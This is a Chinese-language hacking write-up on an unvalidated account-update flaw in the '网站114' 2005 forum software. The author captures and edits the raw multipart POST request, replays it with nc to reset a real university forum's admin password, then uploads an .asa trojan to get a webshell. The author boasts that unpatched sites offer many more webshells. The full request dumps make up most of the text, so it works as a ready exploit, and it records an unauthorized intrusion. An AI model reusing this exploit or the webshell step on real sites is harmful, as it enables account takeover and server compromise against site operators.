关键字:
"版权所有设计制作：网站114"
漏洞描述:
网站114论坛2005版正式
/edituserdb.asp
对提交数据和cooikes缺乏验证
导致任意用户可以修改管理员密码
默认后台admin/index.asp
今天在旁注一个机房的机器时用了一下。
http://www.***.net.cn/xzl/BBS/index.asp
**医科大学网站上的一个论坛。
注册了一个用户33221.
然后跳转到/edituserdb.asp,单击“修改注册”开始抓包!
用记事本保存抓包内容如下：
-----------------------------------------------------------------------------------------------------------
POST/xzl/BBS//SaveUser_Account.aspHTTP/1.1
Accept:image/gif,image/x-xbitmap,image/jpeg,image/pjpeg,application/vnd.ms-excel,application/vnd.ms-powerpoint,application/msword,application/x-shockwave-flash,*/*
Referer:http://www.***.net.cn/xzl/BBS//edituserdb.asp
Accept-Language:zh-cn
Content-Type:multipart/form-data;boundary=---------------------------7d61e41d605f6
Accept-Encoding:gzip,deflate
User-Agent:Mozilla/4.0(compatible;MSIE6.0;WindowsNT5.0;Maxthon)
Host:www.***.net.cn
Content-Length:2304
Connection:Keep-Alive
Cache-Control:no-cache
Cookie:ASPSESSIONIDSCTSQSAB=EKMKINHAIAACMGFMKABJDBME
-----------------------------7d61e41d605f6
Content-Disposition:form-data;name="txtUserCode"
33221
-----------------------------7d61e41d605f6
Content-Disposition:form-data;name="txtPassword"
33221
-----------------------------7d61e41d605f6
Content-Disposition:form-data;name="txtConfirmPassword"
33221
-----------------------------7d61e41d605f6
Content-Disposition:form-data;name="txtQuestion"
33221
-----------------------------7d61e41d605f6
Content-Disposition:form-data;name="txtAnswer"
33221
-----------------------------7d61e41d605f6
Content-Disposition:form-data;name="txtUserName"
33221
-----------------------------7d61e41d605f6
Content-Disposition:form-data;name="selSex"
先生
-----------------------------7d61e41d605f6
Content-Disposition:form-data;name="txtNick"
11
-----------------------------7d61e41d605f6
Content-Disposition:form-data;name="txtProvince"
111
-----------------------------7d61e41d605f6
Content-Disposition:form-data;name="txtAddress"
-----------------------------7d61e41d605f6
Content-Disposition:form-data;name="txtPostCode"
-----------------------------7d61e41d605f6
Content-Disposition:form-data;name="txtTel"
-----------------------------7d61e41d605f6
Content-Disposition:form-data;name="txtMobile"
-----------------------------7d61e41d605f6
Content-Disposition:form-data;name="txtFax"
-----------------------------7d61e41d605f6
Content-Disposition:form-data;name="txtEmail"
-----------------------------7d61e41d605f6
Content-Disposition:form-data;name="txtUrl"
-----------------------------7d61e41d605f6
Content-Disposition:form-data;name="txtfile";filename=""
Content-Type:application/octet-stream
-----------------------------7d61e41d605f6
Content-Disposition:form-data;name="txtOicq"
-----------------------------7d61e41d605f6
Content-Disposition:form-data;name="txtDocument"
-----------------------------7d61e41d605f6
Content-Disposition:form-data;name="submit"
修改注册信息
-----------------------------7d61e41d605f6
Content-Disposition:form-data;name="txtId"
-----------------------------7d61e41d605f6
Content-Disposition:form-data;name="txtTempId"
-----------------------------7d61e41d605f6--
------------------------------------------------------------------------------------------------------------
其中：“
-----------------------------7d61e41d605f6
Content-Disposition:form-data;name="txtUserCode"
33221
-----------------------------7d61e41d605f6
Content-Disposition:form-data;name="txtPassword"
33221
-----------------------------7d61e41d605f6
Content-Disposition:form-data;name="txtConfirmPassword"
33221
-----------------------------7d61e41d605f6
Content-Disposition:form-data;name="txtQuestion"
33221
-----------------------------7d61e41d605f6
Content-Disposition:form-data;name="txtAnswer"
33221
-----------------------------7d61e41d605f6
”
修改第一个"33221"为“admin”保存11.txt文本为：
POST/xzl/BBS//SaveUser_Account.aspHTTP/1.1
Accept:image/gif,image/x-xbitmap,image/jpeg,image/pjpeg,application/vnd.ms-excel,application/vnd.ms-powerpoint,application/msword,application/x-shockwave-flash,*/*
Referer:http://www.***.net.cn/xzl/BBS//edituserdb.asp
Accept-Language:zh-cn
Content-Type:multipart/form-data;boundary=---------------------------7d61e41d605f6
Accept-Encoding:gzip,deflate
User-Agent:Mozilla/4.0(compatible;MSIE6.0;WindowsNT5.0;Maxthon)
Host:www.***.net.cn
Content-Length:2304
Connection:Keep-Alive
Cache-Control:no-cache
Cookie:ASPSESSIONIDSCTSQSAB=EKMKINHAIAACMGFMKABJDBME
-----------------------------7d61e41d605f6
Content-Disposition:form-data;name="txtUserCode"
admin
-----------------------------7d61e41d605f6
Content-Disposition:form-data;name="txtPassword"
33221
-----------------------------7d61e41d605f6
Content-Disposition:form-data;name="txtConfirmPassword"
33221
-----------------------------7d61e41d605f6
Content-Disposition:form-data;name="txtQuestion"
33221
-----------------------------7d61e41d605f6
Content-Disposition:form-data;name="txtAnswer"
33221
-----------------------------7d61e41d605f6
Content-Disposition:form-data;name="txtUserName"
33221
-----------------------------7d61e41d605f6
Content-Disposition:form-data;name="selSex"
先生
-----------------------------7d61e41d605f6
Content-Disposition:form-data;name="txtNick"
11
-----------------------------7d61e41d605f6
Content-Disposition:form-data;name="txtProvince"
111
-----------------------------7d61e41d605f6
Content-Disposition:form-data;name="txtAddress"
-----------------------------7d61e41d605f6
Content-Disposition:form-data;name="txtPostCode"
-----------------------------7d61e41d605f6
Content-Disposition:form-data;name="txtTel"
-----------------------------7d61e41d605f6
Content-Disposition:form-data;name="txtMobile"
-----------------------------7d61e41d605f6
Content-Disposition:form-data;name="txtFax"
-----------------------------7d61e41d605f6
Content-Disposition:form-data;name="txtEmail"
-----------------------------7d61e41d605f6
Content-Disposition:form-data;name="txtUrl"
-----------------------------7d61e41d605f6
Content-Disposition:form-data;name="txtfile";filename=""
Content-Type:application/octet-stream
-----------------------------7d61e41d605f6
Content-Disposition:form-data;name="txtOicq"
-----------------------------7d61e41d605f6
Content-Disposition:form-data;name="txtDocument"
-----------------------------7d61e41d605f6
Content-Disposition:form-data;name="submit"
修改注册信息
-----------------------------7d61e41d605f6
Content-Disposition:form-data;name="txtId"
-----------------------------7d61e41d605f6
Content-Disposition:form-data;name="txtTempId"
-----------------------------7d61e41d605f6--
这里因为我注册的用户名33221与admin长度一至，所以这里不用修改字节长度。
然后用nc提交到服务器
ncwww.***.net.cn80<11.txt
返回提示修改会员资料成功。
然后用admin密码为申请33221的密码一至登录。
当然就是管理员权限了，然后登录后台，点击“修改栏目”，上传asa木马，ok,拿到webshll。
看了一下，这个论坛系统还没有出补丁，可以拿大批webshell了，不过我只要了对我比较有用的一个服务器，其它的没有去抓了。